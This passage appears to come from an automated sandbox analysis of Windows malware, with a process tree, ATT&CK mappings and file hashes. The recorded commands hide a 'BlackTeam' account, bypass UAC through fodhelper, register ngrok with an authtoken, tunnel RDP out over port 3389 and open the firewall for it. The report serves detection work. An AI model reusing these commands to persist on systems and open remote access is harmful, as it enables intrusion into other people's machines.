        reg add "'HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'" /v BlackTeam /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:5100
      - C:\Windows\system32\attrib.exe
        
        attrib C:\users\BlackTeam +r +a +s +h
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2716
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    PID:336
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/ngrok.exe config add-authtoken 2NyX6XCTEbUWXHKRvIrQm5uLmlE_89gv98vabRAC8AQ1jM6gV
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3828
    - - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" config add-authtoken 2NyX6XCTEbUWXHKRvIrQm5uLmlE_89gv98vabRAC8AQ1jM6gV
        5⤵
        Executes dropped EXE
        
        PID:5008
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/ngrok.exe tcp 3389
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Users\Admin\AppData\Local\Temp\ngrok.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ngrok.exe" tcp 3389
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        
        PID:2828
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    PID:4692
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/vhttd.exe -i
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2768
    - - C:\Users\Admin\AppData\Local\Temp\vhttd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vhttd.exe" -i
        5⤵
        Sets DLL path for service in the registry
        Executes dropped EXE
        Modifies WinLogon
        Drops file in System32 directory
        Drops file in Program Files directory
        
        PID:3900
      - C:\Windows\SYSTEM32\netsh.exe
        
        netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
        6⤵
        Modifies Windows Firewall
        
        PID:2512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:3688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\RDP Wrapper\rdpwrap.dll

Filesize
48KB

MD5
678a88c83e62ff5bf041a9ba87243fb4

SHA1
91a3c580f17172ed2c8d419af4b15e2c545d6a72

SHA256
c9786df320ad6127bece91c530bc6fddfff41286c944fd76d44b60799dbe49b8

SHA512
5392a452aceef18d3edc89c2998692dd73e551ed5c62c481a54daec564312a94fd99cc2dce2fdd18c6b297ff83ecfa181e78574423d008a456a8569f04c7daef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ecceac16628651c18879d836acfcb062

SHA1
420502b3e5220a01586c59504e94aa1ee11982c9

SHA256
58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9

SHA512
be3c7cb529cafb00f58790a6f8b35c4ff6db9f7f43a507d2218fd80cebc88413e46f71b1bc35b8afcc36b68f9409c946470d1e74a4fe225400eeb6f3f898f5b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
8584c7e766a10aab273f3404620a4db9

SHA1
2ec92bfc4982413c45d704ac17f3c85890f0cfbd

SHA256
9c96a5575d666f2c2da0bd438fcfed7176f5eff441b47fa89811e4f80e0c081a

SHA512
027cba1c2ea590e933415eb4c02e2c153a9ace378f9ae6adde5f38f8f694f5d63e7f0f2f636c4fb1fc64dcbd338bdc3fd66083b20e0dbe865868e12f2b1b18b4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Snup.bat

Filesize
1KB

MD5
3bb16d80a3dbf1c6cdb06e52fcaab5ba

SHA1
59ab02029d135f93c5cd2b153d69663e216b1965

SHA256
6ad6b4cf1bc3786ceea552b17b244a49896ee703baf53d4008262790a79c97b5

SHA512
cec268b374ea8b739aaf72708d58bd425b79a411e9241ea6adfa44eb40204ed6ec509609e40b53fb6c468e037bc4b762a38a9160bf5e746c06c622e3fada5dcb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvhmi53p.f5k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dtsmsys.exe

Filesize
3.4MB

MD5
e695b8888af3b57f1a56961bd289463c

SHA1
e8c3892fcf4635a16fe91b9542953e2ac5141df2

SHA256
c5a45793d7c361f18d36c190b86c951bf0e7a01ad52132c7e9e9d4101eff73aa

SHA512
3c1ba39b7819020ad748bfd8bc0cca01fda5e5c7a2111ec6c034bf99e1974f27cb6a1ad7b3e26ffcfb150c447349661771fd21d54c25602ab01c1b1b43346ce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\dtsmsys.exe

Filesize
3.4MB

MD5
e695b8888af3b57f1a56961bd289463c

SHA1
e8c3892fcf4635a16fe91b9542953e2ac5141df2

SHA256
c5a45793d7c361f18d36c190b86c951bf0e7a01ad52132c7e9e9d4101eff73aa

SHA512
3c1ba39b7819020ad748bfd8bc0cca01fda5e5c7a2111ec6c034bf99e1974f27cb6a1ad7b3e26ffcfb150c447349661771fd21d54c25602ab01c1b1b43346ce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\dtsmsys.exe

Filesize
3.4MB

MD5
e695b8888af3b57f1a56961bd289463c

SHA1
e8c3892fcf4635a16fe91b9542953e2ac5141df2

SHA256
c5a45793d7c361f18d36c190b86c951bf0e7a01ad52132c7e9e9d4101eff73aa

SHA512
3c1ba39b7819020ad748bfd8bc0cca01fda5e5c7a2111ec6c034bf99e1974f27cb6a1ad7b3e26ffcfb150c447349661771fd21d54c25602ab01c1b1b43346ce1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngrok.exe

Filesize
20.5MB

MD5
0de87b2cb6b4f4c247d7f28b01f3575a

SHA1
336aec3afaf84c8dc897eea14d207c5240d04312

SHA256
05596cac3448ed1d0e132c96bd45f02769e08932d4e60be4c918fea9d1064ef7

SHA512
5e2d4e457b0ab97d899e8ee32c1dfc14ef58f8d7578c6268689b91e7efc4aa56d62038976a1085646e436da9f176135f76a1d6498baa29376731e4f9d3996599

Download Submit
C:\Users\Admin\AppData\Local\Temp\vhttd.exe

Filesize
445KB

MD5
2612258ab4e2221b52974b5c0154fffd

SHA1
2aa58664874516b338325d1fd8205421815b2cba

SHA256
833d6f4de177cf07ceccbb0ceb910f7785df60941a61c7154ed747ec845f51ae

SHA512
02b000c89fc2f49f55e9ecacd17656cc5fbe948e2717ad4876b98d73ff30182cfa43ed05d0820cc4c427e79d6c7aaabf299a9c24158e34a96ad6008f9521483c

Download Submit
C:\Users\Admin\AppData\Local\Temp\vhttd.exe

Filesize
445KB

MD5
2612258ab4e2221b52974b5c0154fffd

SHA1
2aa58664874516b338325d1fd8205421815b2cba

SHA256
833d6f4de177cf07ceccbb0ceb910f7785df60941a61c7154ed747ec845f51ae

SHA512
02b000c89fc2f49f55e9ecacd17656cc5fbe948e2717ad4876b98d73ff30182cfa43ed05d0820cc4c427e79d6c7aaabf299a9c24158e34a96ad6008f9521483c

Download Submit
C:\Users\Admin\AppData\Local\hndtbrK.FEror\Files\RemoveConnect.docx

Filesize
1.5MB

MD5
11255d5fd41b48f3c59ba5773ad50c9c

SHA1
8f3973f6e0965afcd886f8703d49cc12c8677777

SHA256
cfe9daadbb3b6bea2d3102b06cbccab01b684f8e2c85c8a646d36d2fcaa2e5c7

SHA512
c9ce38ff245c21f6847aba6ba39ee3344550e97dad40f56c96f252dd70338ec2d0af56b7e2b591945cec78f7cab9ce99edf0c18c7f606bd492c4fcde08f2ac48

Download Submit
C:\Users\Admin\AppData\Local\hndtbrK.FEror\sysInformation.txt

Filesize
810B

MD5
f90ee56405427c068be79fdbc4b49927

SHA1
b815b33d96abe56b3f36f04bc0367159d1808c90

SHA256
44edcef231fd1e4c716a33cb5b1739a397723762bf49a3f27be2a65003594acb

SHA512
9fed9c58ffdc7dec1a61b3547cc49e7c934d9e6124d3fdb6ccb16e32de93d383ab5e6c33024159cb0a06e594f4fbfa76cffa807a6c2cb1f3e06733fd658365f9

Download Submit
C:\Users\Admin\AppData\Local\ngrok\ngrok.yml

Filesize
74B

MD5
3f59f4babd65b227a58360b831b98788

SHA1
defec650f03d965ed0e30998d674a548a5ef4409

SHA256
e3746d47fd21a64b5d0f18226370a7e76a514b62dcc6a61174b103539600a945

SHA512
26c464abf8fb60aef8eeb7717257d032ed68cee51cc794d0821b79e4e86df490d85144ff35afad4ac293fbb10765099e04ddaf2b51ec01948aad210ff6b6195c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
a03b71fcbaf1efbaf7be603b7d4dfb56

SHA1
fb5157543dcbdd08056ebaae93a7eed62fefac11

SHA256
f2f442dfe89c9f8b29b76d0845a8715e5fa0fd39d5a0ca2966cf8c7863d75524

SHA512
a8e934bf2e9915b579bc1e01df9a6486da4a91402c580470e2cd19540257e85696b6404bd6eba2922976dbca3e2a2cee159a83c2679b968270f083e8d95d122a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
e12cbe64b5d4b7abba47d9652c7ae344

SHA1
f87a4b8938ff24d1260425e5d6bf529deab11cd7

SHA256
473aed296670d5b244124e23a53553d974f7e48d55090a9d640a4626caa9cf26

SHA512
39740a7a60d6bb5a753ce6329225b5442c62ac0b3050ec05de0f4fa786cec0de8857f6aa91f0c9f05ac01806de3e7bc6f05d1acba0417cb37cf5d9d980f7e316

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
e12cbe64b5d4b7abba47d9652c7ae344

SHA1
f87a4b8938ff24d1260425e5d6bf529deab11cd7

SHA256
473aed296670d5b244124e23a53553d974f7e48d55090a9d640a4626caa9cf26

SHA512
39740a7a60d6bb5a753ce6329225b5442c62ac0b3050ec05de0f4fa786cec0de8857f6aa91f0c9f05ac01806de3e7bc6f05d1acba0417cb37cf5d9d980f7e316

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
42ae45738b319eea2beaec138b7bd3d4

SHA1
7c2782b33c23ebc64b6779975f090b11b4773713

SHA256
d6299a352fd389a75c0a6edd99f19199fb09a15d08b733f69bd7e515cab47ed8

SHA512
cafe74644e95ae8bb0fa7fa89a93d4eb6f704c2971a50344173e7618ae1801161ca583007ef5163cbdccf23b544020fa0caff56e932d336093356b25d5b79496

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
42ae45738b319eea2beaec138b7bd3d4

SHA1
7c2782b33c23ebc64b6779975f090b11b4773713

SHA256
d6299a352fd389a75c0a6edd99f19199fb09a15d08b733f69bd7e515cab47ed8

SHA512
cafe74644e95ae8bb0fa7fa89a93d4eb6f704c2971a50344173e7618ae1801161ca583007ef5163cbdccf23b544020fa0caff56e932d336093356b25d5b79496

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
cbbe7aa1a337016666f1b405bb9a0ce1

SHA1
4c8dfd1832f2212d6ade1f2e2e8761a967a4c7e0

SHA256
9c0856092cb3dfdf85b139b81ac708d91ca3cd7f750f5312c7cb0af2147ac3c2

SHA512
a4a032a58c75679609c8c1e1813176a2533c3792ec390adb1431d9fdc3fe4f790cdb0c47e8f1a6aa041bfffb30b31c1f14f5a7545d6be007aa37e2ecbeb6e85d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
cbbe7aa1a337016666f1b405bb9a0ce1

SHA1
4c8dfd1832f2212d6ade1f2e2e8761a967a4c7e0

SHA256
9c0856092cb3dfdf85b139b81ac708d91ca3cd7f750f5312c7cb0af2147ac3c2

SHA512
a4a032a58c75679609c8c1e1813176a2533c3792ec390adb1431d9fdc3fe4f790cdb0c47e8f1a6aa041bfffb30b31c1f14f5a7545d6be007aa37e2ecbeb6e85d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
38b079799d4d0f4da4475c0b6be964ef

SHA1
06eb9cb3869d69372f48da79b43a57157c4e988d

SHA256
48256d37318098401b153c53408bf8e60cdcaf8241dff821f4bf9f23f3b5e001

SHA512
8ce92aabc3c05a61704642f13b1c5a67691b8811bc3d0d5fc832fc665e94d9a4b3bc883e092474e090d679d4e22428d7e0ba0a133ef2ce5ffee2d05bf2e30781

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.dll

Filesize
48KB

MD5
678a88c83e62ff5bf041a9ba87243fb4

SHA1
91a3c580f17172ed2c8d419af4b15e2c545d6a72

SHA256
c9786df320ad6127bece91c530bc6fddfff41286c944fd76d44b60799dbe49b8

SHA512
5392a452aceef18d3edc89c2998692dd73e551ed5c62c481a54daec564312a94fd99cc2dce2fdd18c6b297ff83ecfa181e78574423d008a456a8569f04c7daef

Download Submit
\??\c:\program files\rdp wrapper\rdpwrap.ini

Filesize
338KB

MD5
98082786e440be307873aafea2ea092e

SHA1
089f39ae279fec8fe2bf6d040457e9d3d566f348

SHA256
8de2b36a407ebc818459d6792b3f14cad6372a9c4756eeffeaf8455ccfba16e5

SHA512
2d069b1f6144cba156eb9734b074a8c2bc42bfce14baa622c25c29d5ca81a8bdc6076eb134b0c4eaa99e834a7cae69c69c7a6e88b86e8d5b2afbf58193b908a9

Download Submit
memory/1848-317-0x00007FFC247D0000-0x00007FFC247F6000-memory.dmp

Filesize
152KB

Download
memory/2220-133-0x000001B696100000-0x000001B69611A000-memory.dmp

Filesize
104KB

Download
memory/2220-136-0x000001B6B06B0000-0x000001B6B06C0000-memory.dmp

Filesize
64KB

Download
memory/2220-134-0x000001B6B06B0000-0x000001B6B06C0000-memory.dmp

Filesize
64KB

Download
memory/2280-287-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2280-282-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2280-283-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2280-284-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2280-288-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2280-289-0x0000024BC1B80000-0x0000024BC1B90000-memory.dmp

Filesize
64KB

Download
memory/2680-176-0x00000286EBD40000-0x00000286EBD50000-memory.dmp

Filesize
64KB

Download
memory/2768-307-0x000001AD51310000-0x000001AD51320000-memory.dmp

Filesize
64KB

Download
memory/2768-308-0x000001AD51310000-0x000001AD51320000-memory.dmp

Filesize
64KB

Download
memory/2768-309-0x000001AD51310000-0x000001AD51320000-memory.dmp

Filesize
64KB

Download
memory/3828-258-0x000001FFD8A20000-0x000001FFD8A30000-memory.dmp

Filesize
64KB

Download
memory/3828-257-0x000001FFD8A20000-0x000001FFD8A30000-memory.dmp

Filesize
64KB

Download
memory/3900-310-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/3900-318-0x0000000000400000-0x0000000000592000-memory.dmp

Filesize
1.6MB

Download
memory/3916-225-0x0000028364930000-0x0000028364940000-memory.dmp

Filesize
64KB

Download
memory/3916-226-0x0000028364930000-0x0000028364940000-memory.dmp

Filesize
64KB

Download
memory/3916-230-0x0000028364930000-0x0000028364940000-memory.dmp

Filesize
64KB

Download
memory/3916-231-0x0000028364930000-0x0000028364940000-memory.dmp

Filesize
64KB

Download
memory/4044-178-0x0000029770920000-0x0000029770970000-memory.dmp

Filesize
320KB

Download
memory/4044-177-0x0000029770AA0000-0x0000029770C62000-memory.dmp

Filesize
1.8MB

Download
memory/4044-181-0x00000297709F0000-0x0000029770A66000-memory.dmp

Filesize
472KB

Download
memory/4044-169-0x000002976FFB0000-0x000002976FFC0000-memory.dmp

Filesize
64KB

Download
memory/4044-150-0x0000029770240000-0x0000029770262000-memory.dmp

Filesize
136KB

Download
memory/4044-149-0x000002976FFB0000-0x000002976FFC0000-memory.dmp

Filesize
64KB

Download
memory/4044-148-0x000002976D7D0000-0x000002976DB1A000-memory.dmp

Filesize
3.3MB

Download